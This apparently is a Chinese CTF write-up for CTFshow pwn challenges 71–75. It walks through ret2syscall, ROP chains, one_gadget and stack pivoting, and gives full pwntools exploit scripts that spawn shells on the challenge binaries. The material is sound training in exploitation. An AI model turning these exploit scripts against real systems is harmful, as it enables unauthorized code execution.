PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=2bff0285c2706a147e7b150493950de98f182b78, with debug_info, not stripped

32位关闭栈保护与PIE,同时能看出是静态编译

IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("===============CTFshow--PWN===============");
puts("Try to use ret2syscall!");
gets(&v4);
return 0;
}

题目描述以及各处都提示了让用ret2syscall来进行攻击,我们可以利用程序中的gadgets 来获得shell,而对应的 shell 获取则是利用系统调用。

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

找一下控制eax,ebx的gadget:

$ ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

$ ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里,可以选择:

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

此外,我们需要获得 /bin/sh 字符串对应的地址

$ ROPgadget --binary pwn --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

$ ROPgadget --binary pwn --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf

Unique gadgets found: 2

将其整合至一起即可完成我们的利用了:

payload = flat([b'A' * 112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret, 0, 0,binsh, int_0x80])
#同样的,这里也可以根据自己的个人习惯换一种写法:
payload = cyclic(112) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)

偏移量ida不准,调试一下

$ gdb pwn
pwndbg> r
^c
pwndbg> cyclic 500
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
...
*EIP 0x64616162 ('daab')
...
pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io=process('./pwn')
pop_eax_ret=0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb90
binsh=0x080be408
int_0x80=0x08049421
payload = flat([b'A' * 112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret, 0, 0,binsh, int_0x80])
io.sendline(payload)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 350
[*] Switching to interactive mode
===============CTFshow--PWN===============
Try to use ret2syscall!
$ ls
ctfshow_flag

pwn72

Hint:接着练ret2syscall,多系统函数调用

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c06741f25faef9ff5996e7c0cbdad362f43ce572, not stripped

32位关闭栈保护与PIE,静态编译

32位IDA查看main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+10h] [ebp-20h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-PWN");
puts("where is my system?");
gets(&v4);
puts("Emmm");
return 0;
}

依据上一题的做法,发现程序中并没有了“/bin/sh”字符串:

$ ROPgadget --binary pwn --string '/bin/sh'
Strings information
============================================================

由于是静态编译,找一下程序中是否有read函数:

image-20250730125435820

确实是有的。那么我们就得利用read函数来进行手动写入“/bin/sh”字符串。

  1. 构造payload可以使用read函数,在内存地址中读取之后用户输入的/bin/sh 先找到 eax,ebx,ecx,edx 以及 int 0x80 的地址

    $ ROPgadget --binary pwn --only 'pop|ret' | grep 'eax'
    0x080bb2c6 : pop eax ; ret

    $ ROPgadget --binary pwn --only 'pop|ret' | grep 'ebx'
    0x0806ecb0 : pop edx ; pop ecx ; pop ebx ; ret

    $ ROPgadget --binary pwn --only 'int'
    Gadgets information
    ============================================================
    0x08049421 : int 0x80
    #找到的这个 int 0x80 无法使用,因为没有 ret 无法执行后面的系统调用
    $ ROPgadget --binary pwn --multibr --depth=3 | grep -A2 'int 0x80' | grep 'ret'
    0x0806f350 : int 0x80 ; ret
    #这个才对
    #这个也可以
    from pwn import *
    elf = ELF('./pwn')
    rop = ROP(elf)
    # 搜索int 0x80; ret
    int_ret = rop.find_gadget(['int 0x80', 'ret']).address
    print(f"Found int 0x80; ret at 0x{int_ret:x}")
  2. 对eax,ebx,ecx,edx填充read函数的参数(在bss段找到一个有权限的地址,带入到ebx中)

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
    Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
    0x8048000 0x80e9000 r-xp a1000 0 pwn
    0x80e9000 0x80eb000 rw-p 2000 a0000 pwn
    0x80eb000 0x80ed000 rw-p 2000 0 [anon_080eb]
    0x90eb000 0x910d000 rw-p 22000 0 [heap]
    0xf1d87000 0xf1d88000 rw-p 1000 0 [anon_f1d87]
    0xf1d88000 0xf1d8c000 r--p 4000 0 [vvar]
    0xf1d8c000 0xf1d8e000 r-xp 2000 0 [vdso]
    0xffcfe000 0xffd1f000 rw-p 21000 0 [stack]

    0x80eb000作为存储/bin/sh的位置

  3. 再次对eax,ebx,ecx,edx填充,这次使用execve函数,执行之前read函数读取的内容所在的地址内的值 即”/bin/sh\x00”

  4. 执行payload,进行溢出,再次向程序中发送数据 即“/bin/sh\x00”

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28183)
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
bss = 0x080eb000
int_0x80 = 0x0806F350
payload = b"a"*44

#调用read(0, bss, 0x10)
payload += p32(pop_eax)+p32(0x3)# 设置eax=3 (read系统调用号)
payload += p32(pop_edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0) # edx=0x10(读取长度,确保"/bin/sh\x00"字符串能完整存储,且有余量,满足内存对齐), ecx=bss(缓冲区地址), ebx=0(stdin)
payload += p32(int_0x80) # 执行int 0x80触发系统调用

#调用execve("/bin/sh", NULL, NULL)
payload += p32(pop_eax)+p32(0xb)# 设置eax=0xb (execve系统调用号)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)# edx=0(环境变量), ecx=0(参数数组), ebx=bss("/bin/sh"地址)
payload += p32(int_0x80)# 执行int 0x80触发系统调用

io.sendline(payload)
bin_sh = b"/bin/sh\x00"# 加 \x00 截断,不然会把换行符也当参数读进去了
io.sendline(bin_sh)#最终程序执行 /bin/sh,获得 shell
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 425
[*] Switching to interactive mode
CTFshow-PWN
where is my system?
Emmm
$ ls
ctfshow_flag

pwn73

Hint:愉快的尝试一下一把梭吧!

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped

32位开启NX,部分开启RELRO

拖进IDA发现特别多函数,file查看一下,确定是静态编译

IDA查看main函数,跟进漏洞函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
int egid; // [esp+Ch] [ebp-Ch]

setvbuf(stdout, 0, 2, 0);
egid = getegid();
setresgid(egid, egid, egid);
show();
return 0;
}
int show()
{
_BYTE v1[24]; // [esp+0h] [ebp-18h] BYREF

puts("Try to Show-hand!!");
return gets(v1);
}

还是明显的栈溢出,但是由于是静态编译,我们无法再使用ret2libc来进行get shell

程序中也没有system函数,我们可以尝试直接使用ROPgadget来帮助我们构造一个ROP链:

$ ROPgadget --binary pwn --ropchain
ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

[+] Gadget found: 0x8051035 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret
[+] Gadget found: 0x8048433 pop esi ; ret
[+] Gadget found: 0x8048480 pop edi ; ret
[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'

[+] Gadget found: 0x80549db mov dword ptr [edx], eax ; ret
[+] Gadget found: 0x806f02a pop edx ; ret
[+] Gadget found: 0x80b81c6 pop eax ; ret
[+] Gadget found: 0x8049303 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

[+] Gadget found: 0x8049303 xor eax, eax ; ret
[+] Gadget found: 0x807a86f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

[+] Gadget found: 0x80481c9 pop ebx ; ret
[+] Gadget found: 0x80de955 pop ecx ; ret
[+] Gadget found: 0x806f02a pop edx ; ret

- Step 4 -- Syscall gadget

[+] Gadget found: 0x806cc25 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

可以看到,它已经很智能的帮我们构造好了这些,我们仅仅需要将它构造好的payload提取出来,然后填充上偏移即可进行我们的攻击

当然在现处学习阶段,如果想学习更多可以自己一步步去了解他这样构造的原因,本题的目的是为了让大家学习这一种方法。

from pwn import *
from struct import pack
context.log_level = 'debug'
io = process("./pwn")
#io = remote("pwn.challenge.ctf.show", 28202)
# Padding goes here
p = cyclic(0x18+4)
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; re
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
io.sendline(p)
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 453
[*] Switching to interactive mode
Try to Show-hand!!
$ ls
ctfshow_flag

pwn74(libc6_2.27-3ubuntu1.6(1.5也可以)_amd64或者ubuntu18.04本地的可以打通)

Hint:噢?好像到现在为止还没有了解到one_gadget?

checksec检查保护

$ chmod +x pwn
$ checksec pwn && file pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
pwn: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=55cc5de7877c75cdd2e929f458e0d174fc7628d7, not stripped

64位保护全开,相对于现阶段,看到这种保护全开的题可能会有点迷茫,但是实际上在堆阶段后面基本上都是保护全开的题比较多一点,这里也是为了让大家提前了解一些攻击手法。

IDA查看main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD v4[3]; // [rsp+8h] [rbp-18h] BYREF

v4[2] = __readfsqword(0x28u);
init(argc, argv, envp);
puts(s);
puts(asc_A80);
puts(asc_B00);
puts(asc_B90);
puts(asc_C20);
puts(asc_CA8);
puts(asc_D40);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : PWN_Tricks ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Use one_gadget a shuttle! ");
puts(" * ************************************* ");
printf("What's this:%p ?\n", &printf);
__isoc99_scanf("%ld", v4);
v4[1] = v4[0];
((void (*)(void))v4[0])();
return 0;
}

可以看到,这里程序输出了printf函数的地址,然后通过 __isoc99_scanf 函数从用户输入中读取一个长整数,并将其存储在 v4 数组的第一个元素中。

再将 v4 数组的第一个元素的值赋给了数组的第二个元素。继续通过函数指针调用了 v4数组的第一个元素所指向的函数。这个部分利用函数指针的特性,将其转换为函数并进行调用。从伪代码中我们能得到这些。

使用用户输入来获取函数指针,并通过函数指针调用相应的函数。需要注意的是,这种通过用户输入来获取函数指针并调用函数的做法极有可能会带来安全隐患,因为恶意用户可以输入不安全的函数指针,导致程序出现问题。

至此,大家可能对攻击手段还是并不了解,那么我们继续了解攻击手法(one_gadget)one_gadget是libc中存在的一些执行execve(“/bin/sh”, NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。

相比于system(“/bin/sh”),这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。

安装方式:

$ sudo apt -y install ruby
$ sudo gem install one_gadget

使用方法:

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

one_gadget并不总是可以获取shell,它首先要满足一些条件才能执行成功,后面提示就是在调用one_gadget前需要满足的条件。

本题仅仅是一个工具引进使用,具体可以自行调试一下便知。省了很大一部分时间和精力,对于初学者来说,libc版本是个坑。因此在训练题型上平台一般弄了几个比较相对固定的libc版本,实际比赛时libc的版本更加多样复杂。

当然,在这里如果不是使用的附带虚拟机,则需要自行去泄漏libc,当然前面经过这么多题的练习,相信这些也是没难度了。

#本地
from pwn import *
io=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget=0x10a2fc
printf_libc=libc.symbols['printf']
io.recvuntil(b'this:')
print(hex(printf_libc))
printf = int(io.recv(14),16)
libc_base = printf-printf_libc #基地址 = 泄露地址 - 函数在libc中的偏移
io.sendline(str(one_gadget+libc_base).encode())
io.recv()
io.interactive()
#远程
from pwn import *
from LibcSearcher import LibcSearcher
io = remote('pwn.challenge.ctf.show',28313)
io.recvuntil(b'this:')
printf_addr = int(io.recv(14), 16)
print(f"泄露的printf地址: {hex(printf_addr)}")
libc = LibcSearcher("printf", printf_addr)
libc_base = printf_addr - libc.dump("printf")
one_gadget = libc_base + 0x10a2fc
print(f"libc基地址: {hex(libc_base)}")
print(f"one_gadget地址: {hex(one_gadget)}")
io.sendline(str(one_gadget).encode())
io.interactive()
$ python3 exp.py
[+] Starting local process './pwn': pid 209
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x64e40
[*] Switching to interactive mode
$ ls
ctfshow_flag

pwn75(栈迁移)

Hint:栈空间不够怎么办?

checksec检查保护

$ chmod +x pwn
$ checksec pwn
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位开启NX保护,部分开启RELRO

简单运行程序发现有两次输入点:

$ ./pwn
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Not enough stack space?
* *************************************
Old friends have not seen each other for a long time!
To confirm your identity, please enter your codename:
rhea
Welcome, rhea

What do you want to do?
cat flag
Nothing here ,cat flag

并且在输入后会输出自己输入的东西,第一次是输出Welcome,+第一次输入 第二次Nothing here,+第二次输入

具体啥情况还是拖进IDA进行分析,IDA查看main函数,直接跟进漏洞函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
init(&argc);
logo();
puts("Old friends have not seen each other for a long time!");
puts("To confirm your identity, please enter your codename:");
ctfshow();
return 0;
}

int ctfshow()
{
_BYTE s[36]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Welcome, %s\n", s);
puts("What do you want to do?");
read(0, s, 0x30u);
return printf("Nothing here ,%s\n", s);
}

可以看到,仍旧是熟悉的栈溢出漏洞,但是能溢出的字节数非常有限,s距ebp 0x28,可以读入0x30,溢出的字节仅有8字节,无法进行我们的ROP链构造,那么这里就应该要想到栈迁移了

同时注意到题目存在system函数,但是并不会得到我们想要的:

int hackerout()
{
return system("echo hacker_get_out!");
}

程序最后使用的也是leave 和 retn来还原现场的:

.text:080486D9 ; int ctfshow()
.text:080486D9 public ctfshow
.text:080486D9 ctfshow proc near ; CODE XREF: main+48↓p
.text:080486D9
.text:080486D9 s = byte ptr -28h
.text:080486D9 var_4 = dword ptr -4
.text:080486D9
.text:080486D9 ; __unwind {
.text:080486D9 push ebp
.text:080486DA mov ebp, esp
.text:080486DC push ebx
.text:080486DD sub esp, 24h
.text:080486E0 call __x86_get_pc_thunk_bx
.text:080486E5 add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080486EB sub esp, 4
.text:080486EE push 20h ; ' ' ; n
.text:080486F0 push 0 ; c
.text:080486F2 lea eax, [ebp+s]
.text:080486F5 push eax ; s
.text:080486F6 call _memset
.text:080486FB add esp, 10h
.text:080486FE sub esp, 4
.text:08048701 push 30h ; '0' ; nbytes
.text:08048703 lea eax, [ebp+s]
.text:08048706 push eax ; buf
.text:08048707 push 0 ; fd
.text:08048709 call _read
.text:0804870E add esp, 10h
.text:08048711 sub esp, 8
.text:08048714 lea eax, [ebp+s]
.text:08048717 push eax
.text:08048718 lea eax, (aWelcomeS - 804B000h)[ebx] ; "Welcome, %s\n"
.text:0804871E push eax ; format
.text:0804871F call _printf
.text:08048724 add esp, 10h
.text:08048727 sub esp, 0Ch
.text:0804872A lea eax, (aWhatDoYouWantT - 804B000h)[ebx] ; "What do you want to do?"
.text:08048730 push eax ; s
.text:08048731 call _puts
.text:08048736 add esp, 10h
.text:08048739 sub esp, 4
.text:0804873C push 30h ; '0' ; nbytes
.text:0804873E lea eax, [ebp+s]
.text:08048741 push eax ; buf
.text:08048742 push 0 ; fd
.text:08048744 call _read
.text:08048749 add esp, 10h
.text:0804874C sub esp, 8
.text:0804874F lea eax, [ebp+s]
.text:08048752 push eax
.text:08048753 lea eax, (aNothingHereS - 804B000h)[ebx] ; "Nothing here ,%s\n"
.text:08048759 push eax ; format
.text:0804875A call _printf
.text:0804875F add esp, 10h
.text:08048762 nop
.text:08048763 mov ebx, [ebp+var_4]
.text:08048766 leave
.text:08048767 retn
.text:08048767 ; } // starts at 80486D9
.text:08048767 ctfshow endp

前面学的leave实质 上是mov esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址

retn实质上是pop eip,设置下一条执行指令的地址

那么现在需要明确一下思路:有两个输入点

  1. 利用第一个输入点来泄露ebp的值,动调找一下buf在栈上的位置,用ebp去表示
  2. 第二个输入点输入system(/bin/sh),利用两次leave将栈迁移到buf处,执行buf里的指令,进行get shell

首先泄漏ebp的值:

构造payload:

payload = b'a' * 0x24 + b'show'
io.recvuntil(b'codename:')
io.send(payload)
io.recvuntil(b'show')
ebp = u32(io.recv(4).ljust(4,b'\x00'))#由于payload 中没有主动填充\x00,printf 会 “溢出” 输出到 buf 之后的内存,包括 ebp(4字节)的值。

然后动态调试看一下ebp和buf的位置距离,用ebp去表示buf

$ gdb pwn
pwndbg> b ctfshow
pwndbg> r
pwndbg> n #单步执行直到第一次 read 函数执行完毕并等待输入
pwndbg> n
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaashow
pwndbg> stack 50
00:0000│ esp 0xff8b2180 ◂— 0
01:0004│-034 0xff8b2184 —▸ 0xff8b2190 ◂— 0x61616161 ('aaaa')
02:0008│-030 0xff8b2188 ◂— 0x30 /* '0' */
03:000c│-02c 0xff8b218c —▸ 0x80486e5 (ctfshow+12) ◂— add ebx, 0x291b
04:0010│ ecx 0xff8b2190 ◂— 0x61616161 ('aaaa')
... ↓ 8 skipped
0d:0034│-004 0xff8b21b4 ◂— 0x776f6873 ('show')
0e:0038│ ebp 0xff8b21b8 —▸ 0xff8b210a ◂— 0x1ea78

ebp的地址是0xff8b21b8,buf的地址是0xff8b2190,两者相差0x38,我们可以用ebp-0x38来表示buf的地址

在第一次输入完后,进入到第二次输入,我们要往buf中写入system(“/bin/sh”),同时还要将栈劫持返回buf地址,然后就执行了我们想要的system(“/bin/sh”);

构造payload:

buf = ebp - 0x38
payload = (p32(system) + b'aaaa' + p32(buf + 12) + b'/bin/sh\x00').ljust(0x28,b'a')+ p32(buf-4) + p32(leave)
io.send(payload)
io.interactive()

由于程序中有system函数,我们可以直接利用前面的一部分是用来填充buf,也就是我们构造的payload【12的原因:】

偏移 0x00 ~ 0x03:system 函数地址(4字节)
偏移 0x04 ~ 0x07:填充的 'aaaa'(4字节,栈对齐用)
偏移 0x08 ~ 0x0b:p32(buf + 12)(4字节,这是 system 的参数)
偏移 0x0c ~ 0x12:'/bin/sh\x00'(7字节,字符串本身)
- buf 是起始地
- "/bin/sh\x00" 从偏移 0x0c 开始存放(0x0c 是 12 十进制),因此它的地址是 buf + 0x0c = buf + 12。

后面的p32(buf-4) + p32(leave)【栈迁移核心操作

p32(buf-4) 是将ebp覆盖成buf的地址-4 为什么要-4?这是因为我们利用的是两个leave,但是第二个leave的pop ebp,在出栈的时候会esp+4。就会指向esp+4的位置,
p32(leave) ,将返回地址覆盖成leave

到这里,我们成功将栈劫持到了我们的buf处,接下来就会执行栈里的内容

同原理的,简单来说就是存在八个字节溢出,栈迁移,第一次泄露ebp,先得到栈上buf地址,再迁移到buf即可。

from pwn import *
context.terminal = ['tmux', 'new-window']
context.log_level='debug'
io = process('./pwn')
#io = remote('pwn.challenge.ctf.show',28109)
elf = ELF('./pwn')
system = elf.plt['system']
leave = 0x08048766
payload = b'a' * 0x24 + b'show'
io.recvuntil(b'codename:')
io.send(payload)
io.recvuntil(b'show')
ebp = u32(io.recv(4).ljust(4,b'\x00'))
#gdb.attach(io)
print('ebp='+hex(ebp))
buf = ebp - 0x38
payload =(p32(system)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
io.send(payload)
#gdb.attach(io)
io.interactive()







from pwn import *
context.terminal('tmux','new-window')
context.log_level='debug'
io = process('./pwn')
elf=ELF('./pwn')
system=elf.plt['system']
leave=0x08048766
payload = b'a' * 0x24 + b'show'
io.recvuntil(b'codename:')
io.send(payload)
io.recvuntil(b'show')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
#gdb.attach(io)
print('ebp='+hex(ebp))
buf=ebp-0x38
payload=(p32(system)+p32(0)+p32(buf+0xc)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
io.send(payload)
